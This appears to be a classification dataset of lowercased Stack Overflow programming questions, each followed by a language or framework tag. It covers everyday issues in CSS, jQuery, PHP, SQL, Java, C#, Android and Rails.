override material design classes in css  i am using react-toolbox and react-toolbox-themr dependency to integrate material design in reactjs. while using card component  i want to customize the css for title and subtitle which are attributes of tag. how can i add css to subtitle and title of card      my component looks like this.   <pre><code>import react  { component } from  react ; import {display} from  ./display.js ; import  ./toolbox/theme.css ; import theme from  ./toolbox/theme  import themeprovider from  react-toolbox/lib/themeprovider  import button from  react-toolbox/lib/button/button.js ; import iconbutton from  react-toolbox/lib/button/iconbutton.js ; import avatar from  react-toolbox/lib/avatar/avatar.js ; import card from  react-toolbox/lib/card/card.js ; import cardtitle from  react-toolbox/lib/card/cardtitle.js ; import cardtext from  react-toolbox/lib/card/cardtext.js ; import {constants} from  ./constants.js ; import axios from  axios ; import moment from  moment ; const test = require( ./app.css )  export class querylist extends react.component{ constructor(props) {     super(props);     this.dummytext =  abcdefghijklmnop      this.state = {         querylist: []     }; }   componentdidmount(){     this.loaddata(); }    loaddata(){       var me=this;         axios({           method:constants.methods[0]            url:constants.urlconst+ /query pagenum=1&amp;totalperpage=15&amp;userid=0             headers: constants.headers          }).then(function(response){               me.setstate({                   querylist: response.data.querylistdetails.querydata               })         }).catch(function(error){           console.log(error);         })   }  render(){      var i=1;     var listqueries = this.state.querylist.map(function(item) {         item.queryposteddate =  posted on  +moment(item.queryposteddate).format( dd/mm/yyyy hh:mm:ss a );       return (             &lt;card classname= query-card  key={i++}&gt;                 &lt;cardtitle                   classname={test.themedcardtitle}                   title={item.querytext}                   subtitle={item.queryposteddate}                   theme={test}                 /&gt;             &lt;/card&gt;       );     });      return(         &lt;themeprovider theme={theme}&gt;         &lt;div&gt;             &lt;display/&gt;             {listqueries}         &lt;/div&gt;         &lt;/themeprovider&gt;         ) } </code></pre>   }     in app.css i have something like this.   <pre><code>.themedcardtitle.cardtitle {   .subtitle {     color: pink;   } }  </code></pre>   but subtitle is not turning pink in color. what am i doing wrong here,css
need a tiff viewer component in .net  need a dot net tiff viewer control to integrate with winforms.  the control should allow me zoom and scroll  page up and page down using keyboard shortcuts without actually getting focus.,.net
php track who use my image  i want track who used my image in php script. file list.   <pre><code>/var/www/html/1.jpg /var/www/html/tracker.php /var/www/html/.htacess </code></pre>   .htacess code   <pre><code>&lt;ifmodule mod_rewrite.c&gt; rewriteengine on rewritebase / rewriterule ^(.*).jpg$ tracker.php id=$1 [l] rewritecond %{request_filename} !-f rewritecond %{request_filename} !-d rewriterule . /index.php [l] &lt;/ifmodule&gt; </code></pre>   tracker.php   <pre><code>&lt; php header( content-type:image/jpeg ); imagejpeg($_get[ id ]. .jpg );//echo  &lt;img src=  .$_get[ id ]. .jpg  &gt; ; file_put_contents( log.txt  $_get[ id ].   .$_server[ remote_addr ].   .var_dump(apache_request_headers()));  &gt; </code></pre>   the log.txt has been created  but the image doesn t display in browser. where is the problem,php
editing and removing value in json using jquery  i have this json    <pre><code>{ items :[{ code : c101   desc : car } { code : c341   desc : house }]} </code></pre>   how can i edit the desc of the item that have a code of c341  how can i delete the item that have a code of c101     i tried this code but not working    <pre><code>delete obj.items.code= c101  </code></pre>,jquery
i need to get the current content of an html element that has been changed by ajax  <a href= https://i.stack.imgur.com/tcxns.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/tcxns.png  alt= enter image description here ></a>    i have this bit of script that runs when i click a button. it reads an element on the page (in this case  with the class  .product-sku  and sends the innertext off to a php script that queries a database  etc. and returns a content block.   <pre><code>&lt;script type= text/javascript &gt; jquery(function($){      $(document).ready(function(){         $( #btnfindstore ).click(function(){             sku_no = $( .product-sku ).get(0).innertext;             $.post(                   dealerlinks.php                    { sku: sku_no }                  function( data ){  $( #output ).replacewith( data ); });             $( #altstores ).modal( show );           });      });          }); </code></pre>          the problem is other elements on the page (size options) are changing the data displayed in the <code>.product-sku</code> element (red shape near bottom of image) but once the above bit of script fires when button  b  is clicked  the <code>.innertext</code> does not change from the value that was read in the first time the <code>.click()</code> was fired.     in other words  even though the text displayed in the browser changes  the value of <code>.innertext</code> does not update and is not returned as the value of the variable when the function is triggered. it will return the correct value  but only once...after it has returned the value and the modal popover is closed  subsequent <code>.click()</code>s will return the value from the first time the <code>.click()</code> fired.    how can i get the  real  current value displayed in the <code>.product-sku</code> element when the <code>.click()</code> is fired instead of the  old  <code>innertext()</code>  value,jquery
controller does not see which button was clicked  i m attempting to have multiple submit buttons on a mvc 4 view and then chose what action to take in the controller based on the button that is clicked. however  the controller does not recognized which button was clicked and always shows null.     what am i doing wrong    <pre><code>//view @using (html.beginform()) { &lt;button type =  submit  name =  btn  value =  save_new  id =  savenew  &gt; save &amp; amp; new &lt;/button&gt; &lt;button type =  submit  name =  btn  value =  save_close  id =  saveclose  &gt; save &amp; amp; close &lt;/button&gt; }  //controller public actionresult portalaccountmapping(portalaccountmappingmodel model  string btn)      {         if (btn ==  save_new )         {             // the form was submitted using the save&amp;new button         }         else if (btn ==  save_close )         {             // the form was submitted using the save&amp;close button         }         else         {             updatemodel(model.grid.updateparams);            return json(model.getrows());         }          return view();     } </code></pre>   the btn value is always null.,asp.net
fetchedresultcontroller with uilocalisedindexcollation  i am trying to implement something like the contacts page on <code>iphone</code>.  i tried to use <code>fetchedresultscontroller</code> with <code>uilocalisedindexcollation</code> but they are not working nicely together.     for the uilocalisedindexcollation  it will use the phonetic names of the chinese characters when determining the sort order  which is what i desire. however  in my fetchedresultscontroller  even when i set the sort descriptor to localisedcaseinsensitivecompare  the chinese characters are always the last items. why are they behaving differently,ios
get position of the crosshair within a directx game in python  i have recently gotten in trying to program an ai to play a game after watching the  python plays gta5  (<a href= https://youtu.be/ks4mpfmq8aq  rel= nofollow noreferrer >https://youtu.be/ks4mpfmq8aq</a>) which basically makes a self driving car. since i do not want to directly copy it as i want to learn how to implement it in tf2 which is a source game. the problem is that the game is played in first person and i would need to get the mouse position within the game in order to train it where to shoot. i have already tried win32 in order to get the mouse position but it just returns that the mouse is in the middle of the screen. is there any possible way that i could get the position of the crosshair,python
how can i include a html file in a div   a lot of answers to my previous question have been suggestions that i stop using frames and iframes and use div. now my question is how to do you include a html file inside a div. it doesn t look straight forward.,html
how to write a console application that determines the largest element in a given series of integers  write a console application that determines the largest element in a given series of integers. the numbers are entered one by one  and the application will read them one by one until the user enters the number 0. when the number 0 is entered  the application knows that all the numbers in the string have been entered and displays the largest number.    number 0 is also a part of the string  and if it is the largest user-entered number then the application will return 0.    example:    for input:    24 1 -3 3 -1 0 the console will display:    24    and my code is   <pre><code> string[] numbers = new string[10];          for(int i = 0; i &lt; numbers.length; i++){             numbers[i] =  0 ;         }          int biggest = 0;          for (int i = 0; i &lt; numbers.length; i++)         {             numbers[i] = console.readline();             if(numbers[i] ==  0 )             {                 break;             } </code></pre>   i can t figure out how to continue to resolve this problem. did i start it in the right way  please help!,c#
cformview and clistview on splitterwindow  i want to make a cformview and a clistview in a splitterwindow configuration. my problem is how do i transfer my data from the list view to my edit controls on the form view and vice versa. please help.,.net
listnodes in java (beginner level)  i am currently a programming student in uw madison  and i m hoping someone can help me with an assignment.  right now we are learning about listnodes  but i m not sure i fully grasp the concept.  here are the questions:    complete the following method according to the specification.   <pre><code>// insert a new listnode&lt;e&gt; containing d after the first n listnodes in // chain. if n is less than 1 or bigger than the number of listnodes in // chain  throw indexoutofboundsexception. // precondition: chain has at least one node // // examples: //  chain:  a            n: 1   d:  b   chain:  a  -&gt;  b  //  chain:  a  -&gt;  b     n: 1   d:  c   chain:  a  -&gt;  c  -&gt;  b  //  chain:  a            n: 2   d:  b   indexoutofboundsexception public static &lt;e&gt; void insertafter(listnode&lt;e&gt; chain  int n  e d) { </code></pre>   complete the following method according to the specification.    hint: consider using two references to step through the chain of nodes and think carefully about when to advance them.   <pre><code>// remove all nodes in the chain whose data is equal to d (as determined by // the equals() method of the e class). // preconditions: chain is not null and uses a header node (the first // listnode does not contain any data)  no data in the chain after the // header node is null  d is not null // // examples (hdr means header node): //      chain:  hdr                    d:  a   chain:  hdr  //      chain:  hdr  -&gt;  a             d:  a   chain:  hdr  //      chain:  hdr  -&gt;  a  -&gt;  b      d:  a   chain:  hdr  -&gt;  b  //      chain:  hdr  -&gt;  a  -&gt;  a      d:  a   chain:  hdr  public static &lt;e&gt; void removeall(listnode&lt;e&gt; chain  e d) { </code></pre>   and the following are the answers i came up with:   <pre><code>1) public static &lt;e&gt; void insertafter(listnode&lt;e&gt; chain  int n  e d) {     int count = 0;     listnode&lt;e&gt; curr = chain;     while (curr != null)     {         count++;         curr = curr.getnext();     }     if (n &lt; 1 || n &gt; count)         throw indexoutofboundsexception;     listnode&lt;e&gt; temp = chain;     for (int x = 1; x &lt; n; x++)         temp = temp.getnext();     temp.setnext(d temp.getnext()); }  2)  public static &lt;e&gt; void removeall(listnode&lt;e&gt; chain  e d)  {     int count = 0;     listnode&lt;e&gt; curr = chain;     while (curr != null)     {         count++;         curr = curr.getnext();     }     listnode&lt;e&gt; temp = chain;     for (int x = 0; x &lt; count; x++)     {         if (temp.getdata.equals(d))             temp.setnext(temp.getnext().getnext());         temp = temp.getnext();     } } </code></pre>   according to the notes i took  these answers should be right  but i don t understand some of the concepts.  for example  why are we supposed to use a temporary variable   i understand that by stepping through the chain  you are essentially erasing all the nodes that came before the node you are currently working with  but how does using a temporary variable solve that problem     if i ve made any mistakes  please let me know.  thanks.,java
switching between modes / accessing parts of data structure  given the following data:   <pre><code>    {         id:                     title:                  // modes         one: {             stage:  1              order:  3              more:                }                two: {             stage:  14              order:  5              more:                }                // ...     }      // ... </code></pre>   how can i combine the following two pieces of code into one that uses a <em>variable</em> as a switching mechanism for the mode    <pre><code>// if selected mode was  one  &lt;li ng-repeat= item in items | orderby: [ one.stage    one.order ]  | filter: onefilter  ng-class= { topline: isnewonestage( item )} &gt;     {{ item.title }}       {{ item.one.stage }}     // ... &lt;/li&gt;  // if selected mode was  two  &lt;li ng-repeat= item in items | orderby: [ two.stage    two.order ]  | filter: twofilter  ng-class= { topline: isnewtwostage( item )} &gt;     {{ item.title }}       {{ item.two.stage }}     // ... &lt;/li&gt; </code></pre>   since the two pieces of code are completely identical - apart from the mode - i would like to avoid code duplication. (note also that there will eventually be more than just two modes.),angularjs
how can i send email using mfmailcomposeviewcontroller  i am very new to iphone development. in my app  i want to send email using mfmailcomposeviewcontroller while clicking a button.    how can i achieve this  i used the code below.    <pre><code>mfmailcomposeviewcontroller *controller = [[mfmailcomposeviewcontroller alloc] init];  [controller setsubject:@ email app ];  [controller setmessagebody:@ sample email app  ishtml:no];  [self presentmodalviewcontroller:controller animated:yes]; // app crash in this line.  [controller release]; </code></pre>   it is showing this warning:   <pre><code> importingdocumentappdelegate  may not respond to  -presentmodalviewcontroller:animated: . </code></pre>   thanks.....,ios
if object return empty  no div  i only want to display the image div if the object returns an image  right now i m outputting the image in my <code>&lt;div class= image &gt;</code>  however  if there s no image  then the <code>&lt;div class= image &gt;</code> should not output:   <pre class= lang-html prettyprint-override ><code>&lt;div class= image &gt;     &lt;img src= {{item.logo}}  alt= {{item.title}}  title= {{item.title}}  /&gt; &lt;/div&gt; </code></pre>,angularjs
sbformattedphonenumber is not working  i am using below code to get current user s phone number:   <pre><code>[[nsuserdefaults standarduserdefaults] objectforkey:@ sbformattedphonenumber ]; </code></pre>   but i don t understand why this function would return null  please help me to understand.,iphone
jquery .find.animate to break and repeat  i have the following jquery function that aimates my text. basically it finds all the elements i ask it to and it animates them. the problem is  as you can see  is that it find all the elements at once and animate them all simultaneously. i want each element(h2  h3 and span) to be animated separately from one another.     any suggestions  maybe some kind of a break between the .find commands  thanks!   <pre><code>      $nextslide.find( div.ei-title &gt; h2 )                       .css(  margin-right   50 +  px  )                       .stop()                       .delay( this.options.speed * this.options.titlesfactor )                       .animate({ marginright : 0 +  px   opacity : 1 }  this.options.titlespeed  this.options.titleeasing )                       .end()                       .find( div.ei-title &gt; h3 )                       .css(  margin-right   -50 +  px  )                       .stop()                       .delay( this.options.speed * this.options.titlesfactor )                       .animate({ marginright : 0 +  px   opacity : 1 }  this.options.titlespeed  this.options.titleeasing )                       .end()                       .find( div.ei-title &gt; span.custom1 )                       .css(  margin-right   -50 +  px  )                       .stop()                       .delay( this.options.speed * this.options.titlesfactor )                       .animate({ marginright : 0 +  px   opacity : 1 }  this.options.titlespeed  this.options.titleeasing )                       .end                       .find( div.ei-title &gt; span.custom2 )                       .css(  margin-right   -50 +  px  )                       .stop()                       .delay( this.options.speed * this.options.titlesfactor )                       .animate({ marginright : 0 +  px   opacity : 1 }  this.options.titlespeed  this.options.titleeasing )                       .end </code></pre>,jquery
how to prevent page reload when clicking on an anchor tag with link within page   i m using a html anchor tag for a  back to top  link in the footer of my web page:    <code>&lt;a href= #top  class= footer__top &gt;back to top&lt;/a&gt;</code>    at the top of the page i inserted another anchor tag in <code>&lt;head&gt;</code>:    <code>&lt;a id= #top &gt;&lt;/a&gt;</code>    clicking on the footer anchor link causes the page to scroll up as intended  but is there a way to simply scroll to top (using html) without refreshing the page     for context  search results are being displayed so when the page refreshes  the results are lost.    i found a possible solution using javascript (see below - it scrolls to top without refreshing the page) but this causes other issues for me (search input field becomes frozen and user cannot enter more terms)  so i m asking whether there s a solution using html:   <pre><code>  $( a[href= #top ] ).click(function() {       $( html  body ).animate({ scrolltop: 0 }   fast );       return false;   }); </code></pre>,html
render parial on certain action  probably a newbie question  but when my user visits job#index i want to show a partial that is stored in my views/layouts called _subnav.html.erb.    this only needs to render when the user is at jobs#index.    can someone help me with this but also understand how it works.,ruby-on-rails
how to clear dropdownlist contorl in javascript  please help how to clear dropdownlist control in javascript,javascript
behaviour of firebase keepsynced(true) for a node  by setting keepsynced(true) to a firebase node  will it cause download and thus consuming bandwidth when the attached valueeventlisteners of the node (added by addvalueeventlistener or addlistenerforsinglevalueeventhas) have not run yet     the above is like the scenario here  by setting the keepsynced(true) of a node in the parent activity and the attached valueeventlisteners to the node in the child activity. when running the parent activity  without opening the child activity from the parent activity  the valueeventlistners will not be activated. under such condition  will firebase causes download of the value of the node,android
how to convert 00:00:23 to 00:23 using php gmdate function  i have this code to show video duration in my app.   <pre><code>$duration = 23; // seconds $duration = gmdate( h:i:s   $duration); </code></pre>   the above code outputs 00:00:23 but hours field is not required since it is just 23 seconds  i would like it to show 00:23 seconds  and if the video length is more than hour for example  it should show 01:24:19    any idea     thanks,php
directoryinfo.getfiles method (string  searchoption) exception: system.argumentexception: illegal characters in path  i m using the above method  and get the above exception.<br> i don t see any illegal characters in the directory name (there re other directories which return results as expected).<br> when i call the static <code>directory.getfiles(string  string  searchoption)</code> with the same directory that fails on the <code>directoryinfo</code> method  there s no problem and the method returns as expected.<br> any idea what could cause this misbehavior,.net
read file and store into a string array  i m a student and i m trying to make a hangman program. i m given a file called words.dat that i m supposed to use for my hangman program  but i don t know how to store the data and put it into a string array. i m trying to create a function dedicated to importing the file. i don t know how may words will be in the dat file but my teacher said there would be 100 at most. this was my rough guess on how to do it  but i only get a lot of errors trying to compile it. how do i get the words from the dat file into the string array     words.dat   <pre><code>cow school key computer </code></pre>   my function so far   <pre><code>#include &lt;string&gt; #include &lt;fsteam&gt; using namespace std;  bool initializefile(string filename){     int importword = 0;     string words[100];      ifstream input;     input.open(filename   r );     if(input.fails){         return false;     }             /*     tring to make for loop that runs through      all the characters in input(dat file) and      store them into the words array. if the character isn t a letter it     skips it and continues to the next row     */      for(int i=0;i&lt; input.length();i++){         if(input[i] == \n ){             importword++;         }         if(input[i] !=  \n ){             words[importword]=input[i];         }     }      return true; } </code></pre>,c++
ie7 turns the edges of my rollover images black  i am using jquery script for my image rollovers and i am encountering a problem in ie7 only where all of my images load in properly but once you rollover the image and roll out the edge of the top image turns black. does anyone have any idea as to what might be causing this. the site can be found at free-to-be-me.com/ask-ava.php.    here is the code i am using:   <pre><code>    $(function() {         $( .bw ).hover(function() {             $(this).animate({ opacity: 0.0 }  200);         });     });      $(function() {         $( .bw ).mouseout(function() {             $(this).animate({ opacity: 1.0 }  200);         });   &lt;div class= liner-nav &gt;     &lt;div class= container &gt;          &lt;a class= html  href= ava-lb/options.html  style= border:none;  rel= group &gt;&lt;img src= images/ava/school_pink.png  class= bw  style= border:none;  /&gt;&lt;/a&gt;          &lt;img src= images/ava/school_blue.png  class= colour  alt=   /&gt;     &lt;/div&gt; &lt;/div&gt; }); </code></pre>   thanks in advance for your help.    edit    i have been trawling the internet for hours now trying various different hacks to try to stop ie7 from ballsing up pngs. i have come to the conclusion that although ie7 can handle pngs with the minimum of fuss  it doesn t handle the change of opacity well. so i have opted for a straight image swap as it is achieves the same thing. thanks for your help.,jquery
c# bool rows count with empty columns every time true  i have 2 columns <code>book1</code> and <code>book2</code>to in <code>borrowes</code> table but some time users borrowed the book and some time no  so i need to delete user which not borrowed any book (<code>book1</code> or <code>book2</code>).  i got every time value in true. let me know what can i do thanks.     i tried this...   <pre><code> con.open();   bool readerhasrows = false;  string brid = txtbr_id.text;  string syntax =  select book1  book2 from borrowes where brid = @brid ;   using (sqlcommand cmd = new sqlcommand(syntax  con))  {      cmd.parameters.addwithvalue( @brid   txtbr_id.text);        using (sqldatareader reader = cmd.executereader())      {         readerhasrows = (!reader[0].isdbnull);      }  }  con.close();   if (readerhasrows == true)  {     messagebox.show( this borrower has borrowed the book please collect the book first. );  } </code></pre>,c#
so many contact deletes  i tried to manages my contacts using a pc application  from this app i deleted a lot of unused contact.  when the application try to update the phone list it throw a notification with this message  so many contact deletes . this notification comes up every 3 or 4 hours  it is annoying now. i have to force app to close to remove it. anyone has an idea of what can i do to stop this notification,android
mysql find all items not in the same table for each type of field2  i have a translations table (simplified) like this:    <code>id</code>  <code>lang</code>  <code>item</code>  <code>value</code>    i want to find which items exists for one language that do not exist for some of the other languages  so i m looking for orphaned language items.    i ve tried something like   <pre><code>select            a.* from              translations a natural left join translations b where             b.item is null </code></pre>   but this doesn t seem to work.    another option is to iterate through all languages asking for items in <code>lang_1</code> that are not in <code>lang_2</code>  but this needs several queries.    is there an easy way to filter this in sql,mysql
show/hide javascript only one item  i made a blog on wordpress and must make a dynamic posts. i made this    <pre><code>&lt;div class= box &gt;     &lt;span class= hide &gt;hide&lt;/span&gt; &lt;span class= share  style= display:none &gt;show&lt;/span&gt; &lt;/div&gt; &lt;div class= box &gt;     &lt;span class= hide &gt;hide&lt;/span&gt; &lt;span class= share  style= display:none &gt;show&lt;/span&gt; &lt;/div&gt; &lt;div class= box &gt;     &lt;span class= hide &gt;hide&lt;/span&gt; &lt;span class= share  style= display:none &gt;show&lt;/span&gt; &lt;/div&gt; &lt;div class= box &gt;     &lt;span class= hide &gt;hide&lt;/span&gt; &lt;span class= share  style= display:none &gt;show&lt;/span&gt; &lt;/div&gt; &lt;div class= box &gt;     &lt;span class= hide &gt;hide&lt;/span&gt; &lt;span class= share  style= display:none &gt;show&lt;/span&gt; &lt;/div&gt; &lt;div class= box &gt;     &lt;span class= hide &gt;hide&lt;/span&gt; &lt;span class= share  style= display:none &gt;show&lt;/span&gt; &lt;/div&gt;  &lt;scritp&gt; $(  .box  ).hover(      function() {       $( .hide ).hide();       $( .share ).show(); }  function() {       $( .hide ).show();       $( .share ).hide(); });  &lt;/script&gt; .hide  .share {     display:block;     background-color: #a85ba5;     padding: 30px;     margin-bottom: 30px;     color: #fff;     text-align: center; } </code></pre>   this is a notworking example   <a href= http://jsfiddle.net/s59bu5xn/8/  rel= nofollow >http://jsfiddle.net/s59bu5xn/8/</a>     and i want only one item change <strong>hide</strong> on <strong>show</strong>. not globaly all item on homepage this blog.     best regards  m,javascript
adventureworks & adventureworks2005  i have downloaded and installed microsoft sql server management studio express sqlserver 2005. i could not find adventureworks databases in it. do i suppose to download and install it as well  if so  could someone point me to the site where i can download adventureworks and its instruction  once again  i am using microsoft sql server management studio express 2005.    many thanks  tom,sql
python  faking module in class definition  i suspect this is one of those questions that will result in  why do you want to do that   but here goes:    i need to find a way to fake the module of a class defined in <code>__main__</code>; ie:    lets say we have a.py:   <pre><code>class a(object):     name =  a      pass </code></pre>   and b.py:   <pre><code>import inspect import a  class b(object):     __name__ = a.__name__     name =  b      pass  print inspect.getmodule(b) </code></pre>   calling b.py results in:   <pre><code>&lt;module  __main__  from  b.py &gt; </code></pre>   so  how do i get the module of class a taken to be b  without moving it into b,python
sql - select from 2 tables  i have a table <code>users</code> and table <code>questions</code>. i want to select 5 random users from <code>users</code> table who has at least 20 queries (db.questions to_user = db.users id) in <code>questions</code> table. all i ve tried:   <pre><code>select *  from users s  where exists (select 20                from questions m                where m.to_user = s.id)  order by rand()  limit 5 </code></pre>,sql
3 simple javascript lines not working !  these lines :   <pre><code>var thesrc=document.getelementbyid( sb_image_ +id).src; var srcln=(thesrc.length)-12; thesrc.substr(0 srcln); </code></pre>   are not working !   the output is the same as <code>document.getelementbyid( sb_image_ +id).src</code> if i <code>alert(thesrc);</code>,javascript
how to view specific files inside a folder in android   i have created a folder in my android application in  /sdcardhome/myimages    now i have saved all my images inside that folder. i am trying to browse that folder from my android program but its not working.    this is what i have tries so far   <pre><code>public class mainactivity extends actionbaractivity implements mediascannerconnectionclient{ public string[] allfiles; private string scan_path ; private static final string file_type =  */* ; private mediascannerconnection conn; @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_main);   file folder = new file(environment.getexternalstoragedirectory()+ /mycameraapp +file.separator+ images );     allfiles = folder.list();      scan_path=environment.getexternalstoragedirectory().tostring()+ /mycameraapp/images +allfiles[0];      startscan();     }     private void startscan(){     if(conn!=null)     {         conn.disconnect();     }      conn = new mediascannerconnection(this  this);     conn.connect(); } @override public void onmediascannerconnected() {     conn.scanfile(scan_path  file_type);  }  @override public void onscancompleted(string path  uri uri) {      try      {          if (uri != null)           {              intent intent = new intent(intent.action_view);              intent.setdata(uri);              startactivity(intent);          }      }      finally       {          conn.disconnect();          conn = null;      }       } </code></pre>   when i fire event from some view nothing open(screen is there) so how to make this to open all images inside       /sdcardhome/mycameraapp/images,android
can i pass a string into fopen()  in c  my goal is to gather input and open files based on that input.    <pre><code>file*  open_input_file (char* filename) //opens source file to be read {   return fopen(filename   r ); } </code></pre>   in an earlier function  i collect input from the user and save it to filename. when i debug the program  it tells me fopen is returning null. that s not what i want  and i m not sure where the problem is.    <pre><code>int main(void) {    file* infile = null;      char infilename[32] = { \0 };      gather_input(infilename); // infilename is an output parameter for this      infile = open_input_file(infilename); } </code></pre>   i don t know what the problem is. any thoughts,c
display text over image using div tag  i want display text over image using div tag. i am getting the values from database and store into scripting array succesfully. but the values are not displaying. but i am using div tag insted of image text will be displayed. following is my code    <pre><code> &lt;script &gt;         var i=0;         var st1=new array();         var st2=new array();         var st3=new array();        // var obj={ a   b   c   d };    $(document).ready(function(){   $( #myimg ).hover(function(){     &lt;c:foreach var= d   items= ${data}  &gt;         &lt;c:set var= st1  value= ${fn:substringbefore(d  - )}  /&gt;                     &lt;c:set var= st2  value= ${fn:substringafter(d  - )}  /&gt;             st1.push( ${st1} );                       st2.push( ${st2} );      &lt;/c:foreach&gt;     &lt;c:foreach var= d1   items= ${data1}  &gt;         &lt;c:set var= st22  value= ${d1}  /&gt;                    st3.push( ${st22} );    &lt;/c:foreach&gt;    for(var i=0;i&lt;6;i++)       {    var x=st1[i];         var y=st2[i];   var txt=st3[i];          var test = $( &lt;span class= test &gt;&lt;/span&gt; );    test.html(txt);    $( #myimg ).append(test.offset({left:x top:y}));     }    }  function(){     $( .test ).remove();   }  );   });      &lt;/script&gt;      &lt;div class= test &gt;div-test &lt;/div&gt;     &lt;img id= myimg  src= mirchi2.jpg  width= 500  height= 500 &gt;     &lt;/body&gt;     &lt;/html&gt; </code></pre>,jquery
how do you make a rails multi select dropdown work  i am trying to make a multi select dropdown work with a dialog for search parameters.  i can make the dropdown multi select but can t seem to get/pass the resulting data. (edited/new info will be in italics)    <em>i believe that the root of the problem is that i need to change the permit section in my controller to reflect that i am passing a hash/array.  if i look at the resulting record  the 2 fields that i am setting as multi-selects show as nil. however  if i force an errror  the parameters shown by rails show the correct choices. therefore  i believe that the problem might be with the permit section.</em>     <em>that looks like</em>    <pre><code> *def search_params       params.require(:search).permit(:document_title                                       :summary                                       :owner                                       :category                                       :file_name                                       :doc_to_email                                       :categories_attributes =&gt; [:name])     end* </code></pre>   i added the :categories_attributes => [:name] to try to get the controller to allow hashes but that didn t work.     the select field is    <pre><code> &lt;%= f.select :category[]  options_for_select(@categories.sort)  {:include_blank =&gt; true}  {:multiple =&gt; true  :size =&gt;10}  %&gt; </code></pre>   but that gives me    <blockquote>    .erb where line #41 raised:        wrong number of arguments (0 for 1..2) trace of template inclusion:   app/views/searches/new.html.erb  </blockquote>   i thought i had to set category as an array with the [] but obviously i m missing something.     category is a string field in the searches table.,ruby-on-rails
ruby on rails: how to create a  recent_search_path  helper method   i have implemented a search feature of my application. after submitting a search term  you are redirected to a url that looks something like this:   <pre><code>http://localhost:3000/search utf8=✓&amp;search=term </code></pre>   i want to be able to store this in the session and link to it later:   <pre><code>&lt;%= link_to  back   recent_search_path %&gt; </code></pre>   how might i achieve this,ruby-on-rails
prevent html emails with style element from affecting entire web page  we have an single-page web app that displays emails. some of the emails we re viewing contain style elements that  when loaded into the dom  affect our entire app. what s the best way to prevent this from happening  i m currently removing style elements using the htmlagilitypack as shown in the post below  but i m wondering if there s an easier way.    <a href= https://stackoverflow.com/questions/3817821/regex-to-remove-body-tag-attributes-c >regex to remove body tag attributes (c#)</a>,html
how to use a total of a computed column as a value in another query   background :- i have a scenario where i would like to find out the value of items we have quoted on projects where we have been named as the preferred supplier and also the value of the items we were not named for.    the tables i have at my disposal are dba.lead -> dba.a_quotelne  the columns that decide whether the items are specified or not are :  dba . a_quotelne . altlineref  if altlineref = 0 then we are not named  if it = 1 we have been named. however only the first line of each group of items contains a 1 or 0. the rest are null.     example   <pre><code>         leadno      lead_desc       lineno      calc_value      altlineref      calc_groupingref          1           canary wharf        1           10          0               1000         1           canary wharf        2           16          null            1000         1           canary wharf        3           12          null            1000         1           canary wharf        4           12          1               1001         1           canary wharf        5           13          null            1001         2           rosente lane        1           14          0               1002         2           rosente lane        2           14          1               1003         2           rosente lane        3           12          null            1003         2           rosente lane        1           15          1               1004         2           rosente lane        2           267         null            1004         2           rosente lane        3           298         null            1004 </code></pre>   i then used the following code to split the specified and non specified values apart  but i now need a total of each and then somehow only use that computed total in a much larger report.   <pre><code>  select  dba . lead . leadno            dba . lead . lead_desc            dba . a_quotelne . quoteno            dba . a_quotelne . lineno            dba . a_quotelne . calc_value  * max( dba . a_quotelne . altlineref ) over (partition by  dba . a_quotelne . calc_groupingref ) as spec_value           dba . a_quotelne . calc_value  - spec_value as nonspec_value   from  dba . a_quotelne            dba . lead    where (  dba . a_quotelne . leadno  =  dba . lead . leadno  )  group by  dba . a_quotelne . altlineref            dba . a_quotelne . calc_groupingref            dba . a_quotelne . calc_value            dba . a_quotelne . quoteno            dba . lead . lead_desc            dba . lead . leadno            dba . a_quotelne . lineno     </code></pre>   the results i wish to achieve are as follows   <pre><code>     leadno      lead_desc      nonspec value   spec value     1           canary wharf            38          25     2           rosente lane            14          606 </code></pre>   as you are probably aware i am a little out of my depth here  any help would be massively appreciated - and if anyone has a better suggestion on how to split the specified and non specified values apart please include that.    many thanks in advance    phil,sql
jquery show/hide rule  basically i am trying to show hide divs and links  but having some trouble. the functionality required is as follows:   <ul> <li>on page load  div id  additional-languages  is hidden</li> <li>user can click the  selected additional languages  link which will show the  additional-languages  div</li> <li>at the point of clicking this link  the link will get hidden</li> <li>user can then choose to hide the  additional-languages  div by clicking on the  hide  link</li> <li>at the point of clicking this link  the  selected additional languages  link will re-appear</li> </ul>   here is what i have done so far:    markup:   <pre><code>&lt;div class= row &gt;     &lt;label for= native_language &gt;select&lt;/label&gt;     &lt;select name= native_language  id= native_language &gt;       &lt;option value=  &gt;any&lt;/option&gt;       &lt;option value= 1 &gt;english&lt;/option&gt;     &lt;/select&gt;      &lt;a class= show-additional-link  href= # &gt;select additional languages&lt;/a&gt; &lt;/div&gt;  &lt;div id= additional-languages  style= display: none; &gt;     &lt;a class= hide-additional-link  href= # &gt;[hide]&lt;/a&gt;      &lt;div class= row &gt;         &lt;!-- additional language checkboxes --&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   js:   <pre><code>$( .show-additional-link ).click(function(){     $(this).parent().next().slidedown();     $(this).hide();     return false; }); </code></pre>   the first part is working for me  but i m struggling on getting the second part to work  i.e. the functionality for the  hide-additional-link . i have tried this:   <pre><code>$( .hide-additional-link ).click(function(){     $(this).parent().slideup();     $(this).parent().prev( .show-additional-link ).show();     return false; }); </code></pre>   the div gets hidden but the  show-additional-link  does not get shown.,jquery
how to use page parameter with merge on php imagick   merging 4 images with imagick is working pretty good but setimagepage parameter is not working along merge. first or second page is resized but rest of files are remaining original size. on test environment dimensions of all files are same. my goal is to resize all of pages to size of a4.     here is the code:    $uploaded_files is an array of files and $refer is custom filename for merged file.   <pre><code>$pdf = new imagick($uploaded_files); $pdf-&gt;setimageformat( pdf ); $mergefile =  files/  . $refer .  .pdf ; $pdf-&gt;setimagepage ( 595  842   0 0 ); $filemerged = $pdf-&gt;writeimages($mergefile  true); </code></pre>,php
distinct select in sql and order by  i wrote a query in sql  where i will keep just one time the companies.id  that is why i use distinct.   <pre><code>select distinct companies.id  companies.company  abo.ende  from companies left join abo on companies.id = abo.companyid  order by abo.ende </code></pre>   the table abo.ende has more entries for the abo.companyid and i would like to get as result the distinct companies.id with the most recent abo.ende. note: abo.ende is a datetime field and i would like to get the newest.    i am wondering if this is the best way to do that. is there another way,sql
